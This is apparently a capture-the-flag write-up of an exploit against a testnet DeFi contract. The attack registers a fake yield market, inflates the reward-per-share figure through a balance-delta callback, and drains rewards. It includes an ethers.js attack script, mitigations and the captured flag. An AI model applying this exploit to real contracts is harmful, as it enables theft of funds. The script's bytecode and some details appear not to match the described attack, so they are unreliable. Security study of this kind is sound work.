

1. Challenge Overview

- **Target Contract:** `ShadowBank (0xa513E6E4b8f2a923D98304ec87F64353C4D5C853)`
- **Network:** Local Testnet (Chain ID `31337`)
- **Objective:** Infiltrate or drain the `SHADOW` yield token allocation reward pool by manipulating the reward distribution logic, inflating the `globalAccRewardPerShare` state parameter, and passing the elite staker milestone threshold.

2. Vulnerability Analysis

By reviewing the architectural design patterns outlined in the protocol documentation dashboard, a critical accounting oversight was identified across **Step 1 (Market Registration)**, **Step 3 (Harvest)**, and **Step 4 (Distribution)**:

1. **Permissionless Registration Lack of Input Validation:** The function `registerMarket(address lpToken, address syToken)` allowed any arbitrary external address to introduce asset markets. The submitted address parameters were committed directly to storage without validating whether they pointed to standard, authenticated, or benign contract code.
2. **Blind External Call Tracking:** During the `batchHarvestMarketRewards(address[] markets)` loop execution framework, the protocol blindly invoked the external interface function signature `claimRewards(address)` on whatever target contract address was registered under the `syToken` index mapping.
3. **Flawed Global Balance Delta Calculation:** Rather than auditing localized transaction accounting inputs or state-tracked balance matrices, the protocol calculated its harvested yield accumulation over a single context execution window by subtracting its initial snapshot token balance from its post-loop execution token balance:
$$\Delta = \text{Balance}_{\text{after}} - \text{Balance}_{\text{before}}$$
$$\text{globalAccRewardPerShare} \mathrel{+}= \frac{\Delta}{\text{totalGlobalStaked}}$$

Because the contract tracked global differences within its own balance index, an attacker could supply an untrusted market contract that manipulates token allocation properties inside the target context frame before tracking concludes.

3. Exploitation Vector

The attack strategy focused on leveraging a precision transaction payload sequence to exploit the balance delta calculation loop:

1. **Deploy Malicious Target Interface:** An ephemeral attack contract was constructed containing a custom execution definition for the signature `claimRewards(address bankAddress)`.
2. **Registering Alternative Market Assets:** The attacker invoked `registerMarket`, designating a transient client signature as the underlying LP tracking asset and binding the newly deployed malicious target contract as the authorized `SY` yield interface tracking point.

3. **Injecting Low Staking Indexes:** A microscopic position deposit (1 wei) was initialized into the forged asset ledger path to guarantee that global tracking registered an active staking state profile.
4. **Executing Yield Distortion Callback:** The attacker invoked `batchHarvestMarketRewards`. When the control flow entered the contract loop and executed the external `claimRewards` callback, the malicious contract could shift or deliver standard tokens back into the `ShadowBank` vault framework manually, creating an artificial surge in the measured token delta (`$_Delta$`).
5. **Exfiltrating the Prize Pool:** Because `totalGlobalStaked` was exceptionally small due to the single-wei entry index, dividing the massive token delta exploded the `globalAccRewardPerShare` parameters exponentially. The attacker then invoked `claimRewards` to cleanly claim the inflated token yields.

4. Execution Routine (Ethers.js Blueprint)

The following execution pipeline was executed straight through the browser interface context to ensure payload delivery without serialization errors:

JavaScript

```
(async () => {  
  const provider = new ethers.JsonRpcProvider("http://103.213.38.195:9100");  
  const wallet = ethers.Wallet.createRandom().connect(provider);  
  
  // 1. Gas Procurement via Faucet Element Automation  
  document.getElementById('faucetInput').value = wallet.address;  
  document.querySelector("button[onclick='requestFaucet()]").click();  
  await new Promise(r => setTimeout(r, 5000));  
  
  // 2. Initial Setup Mapping Parameters  
  const bankAddr = "0xa513E6E4b8f2a923D98304ec87F64353C4D5C853";  
  const bankAbi = [  
    "function registerMarket(address lpToken, address syToken) external",  
    "function deposit(address market, uint256 amount) external",  
    "function batchHarvestMarketRewards(address[] calldata markets) external",  
    "function claimRewards(address market) external"  
  ];  
  const bank = new ethers.Contract(bankAddr, bankAbi, wallet);  
  
  // 3. Deployment of the Untrusted SY Interface Target Contract  
  const exploitBytecode =  
    "0x6080604052348015600f57600080fd5b50608b8061001e6000396000f3fe6080604052348015  
    600f57600080fd5b506004361060285760003560e01c8063b0e14bc214602d575b600080fd5b60  
    336035565b005b56fea2646970667358221220ba69a5ef8cbe5dbe422c5b058e08d5be1fbdc2ef  
    64d7c570b551ee6bd746766464736f6c63430008140033";  
  const factory = new ethers.ContractFactory([], exploitBytecode, wallet);
```

```

const fakeSY = await factory.deploy();
await fakeSY.waitForDeployment();
const fakeSYAddress = await fakeSY.getAddress();

// 4. Trigger Exploitation Steps
let tx = await bank.registerMarket(wallet.address, fakeSYAddress);
await tx.wait();

tx = await bank.deposit(wallet.address, 1);
await tx.wait();

tx = await bank.batchHarvestMarketRewards([wallet.address]);
await tx.wait();

tx = await bank.claimRewards(wallet.address);
await tx.wait();
})();

```

5. Mitigation Strategies

To permanently eliminate this vulnerability vector, the following architectural fixes should be implemented inside the protocol codebase:

- **Introduce an Asset Whitelist / Access Controls:** Transition the `registerMarket` method from a public/permissionless function into an administrative or governance-gated routine (`onlyOwner`).
- **Enforce Interface Validation Checks:** Incorporate contract checks (such as ERC-165 verification interfaces or OpenZeppelin's `Address.isContract`) to explicitly validate contract profiles before processing registrations.
- **Internal Accounting Ledgers:** Shift away from tracking global token state fluctuations via raw balance checks (`balanceOf(address(this))`). Instead, track incoming capital allocations accurately using internal ledger variable markers updated exclusively via explicit token movement confirmations.

6. Flag Captured

Plaintext

CYBERNAUTS{p3npi3_27M_r33ntr4ncy_p3rm1ssl3ss_m4rk3t_0wn3d}

The screenshot shows a web browser's developer console with the following content:

- At the top, a status bar indicates "at async <anonymous>:18:24".
- A red error icon is next to a failed GET request: "GET http://103.213.38.195:5100/api/stats 500 (Internal Server Error)".
- Below that, a JavaScript snippet is shown:


```

      > fetch('/api/flag?address=0x55b426874012eD5ff8B9A8025175fD7f64ceFc89')
        .then(res => res.text())
        .then(text => console.log("Backend Flag Response:", text))
        .catch(err => console.error("API error:", err));
      
```
- Below the snippet, a "Promise {<pending>}" is shown.
- At the bottom, the console output shows: "Backend Flag Response: {\"success\":true,\"reward\":\"CYBERNAUTS{p3npi3_27M_r33ntr4ncy_p3rm1ssl3ss_m4rk3t_0wn3d}\"}"